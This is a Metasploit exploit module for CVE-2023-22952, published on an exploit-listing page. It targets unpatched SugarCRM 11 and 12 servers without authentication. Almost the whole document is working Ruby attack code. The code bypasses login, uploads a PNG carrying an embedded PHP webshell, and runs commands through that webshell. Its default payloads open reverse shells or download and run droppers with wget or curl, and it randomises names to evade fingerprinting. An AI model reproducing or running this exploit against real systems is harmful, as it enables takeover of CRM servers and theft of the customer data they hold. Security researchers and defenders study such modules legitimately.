SugarCRM unauthenticated Remote Code Execution (RCE)

# Exploit Title: SugarCRM unauthenticated Remote Code Execution (RCE) # Exploit Author: DANG # Vendor Homepage: https://www.sugarcrm.com/ # Software Link: https://www.sugarcrm.com/ # Version: SugarCRM 11.0 Enterprise,Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and Serve versions prior to 12.0.2 # Tested on: Linux # CVE : CVE-2023-22952 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'securerandom' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Format::PhpPayloadPng def initialize(info = {}) super( update_info( info, 'Name' => 'SugarCRM unauthenticated Remote Code Execution (RCE)', 'Description' => %q{ This module exploits CVE-2023-22952, a Remote Code Execution (RCE) vulnerability in SugarCRM 11.0 Enterprise, Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and Serve versions prior to 12.0.2. The vulnerability occurs due to a lack of appropriate validation when uploading a malicious PNG file with embedded PHP code to the /cache/images/ directory on the web server using the vulnerable endpoint /index.php?module=EmailTemplates&action=AttachFiles. Once uploaded to the server, depending on server configuration, the attacker can access the malicious PNG file via HTTP or HTTPS, thereby executing the malicious PHP code and gaining access to the system. This vulnerability does not require authentication because there is a missing authentication check in the loadUser() method in include/MVC/SugarApplication.php. After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application. Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain access to the underlying operating system as the user that the web services are running as (typically www-data). }, 'Author' => [ 'Sw33t.0day', # discovery 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module ], 'References' => [ [ 'CVE', '2023-22952' ], [ 'URL', 'https://seclists.org/fulldisclosure/2022/Dec/31' ], [ 'URL', 'https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001/' ], [ 'URL', 'https://sugarclub.sugarcrm.com/engage/b/sugar-news/posts/jan-5-2023-security-vulnerability-update' ], [ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-22952' ], [ 'PACKETSTORM', '170346' ] ], 'License' => MSF_LICENSE, 'Platform' => [ 'unix', 'linux', 'php' ], 'Privileged' => false, 'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-12-28', 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 80 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'SugarCRM base url', '/' ]), OptString.new('WEBSHELL', [ false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', '' ]), OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0]) ] ) end def authenticate # generate PHP session-id @phpsessid = "PHPSESSID=#{SecureRandom.uuid}" # randomize user and password to obfuscate and make finger printing difficult. user_name = Rex::Text.rand_name user_password = Rex::Text.rand_text_alphanumeric(8..16) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), 'cookie' => @phpsessid.to_s, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'module' => 'Users', 'action' => 'Authenticate', 'user_name' => user_name.to_s, 'user_password' => user_password.to_s } }) if res && res.code == 500 && !res.body.blank? return true else return false end end def upload_webshell # randomize file name and extension if option WEBSHELL is not set file_ext = ['phar', 'phtml'] if datastore['WEBSHELL'].blank? @webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}" else @webshell_name = datastore['WEBSHELL'].to_s end # select webshell depending on the target setting (PHP or others). @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) if target['Type'] == :php payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>" else payload = "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>" end # inject PHP payload into the PLTE chunk of the PNG image png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE') if png_webshell.nil? return false end # construct multipart form data form_data = Rex::MIME::Message.new form_data.add_part('AttachFiles', nil, nil, 'form-data; name="action"') form_data.add_part('EmailTemplates', nil, nil, 'form-data; name="module"') form_data.add_part(png_webshell.to_s, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"#{@webshell_name}\"") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'), 'cookie' => @phpsessid.to_s, 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) if res && res.code == 200 && !res.body.blank? # parse HTML to find the webshell name embedded in a table that indicates a successful upload html = res.get_html_document if html.at("td[contains(\"#{@webshell_name}\")]") return true else return false end else return false end end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name), 'cookie' => @phpsessid.to_s, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) php_cmd_function = datastore['COMMAND'] return send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name), 'cookie' => @phpsessid.to_s, 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { @get_param => php_cmd_function }, 'vars_post' => { @post_param => payload } }) end def exploit fail_with(Failure::NoAccess, 'Authentication bypass failed.') unless authenticate fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_webshell register_file_for_cleanup(@webshell_name.to_s) print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :php execute_php(payload.encoded) when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 65536) end end end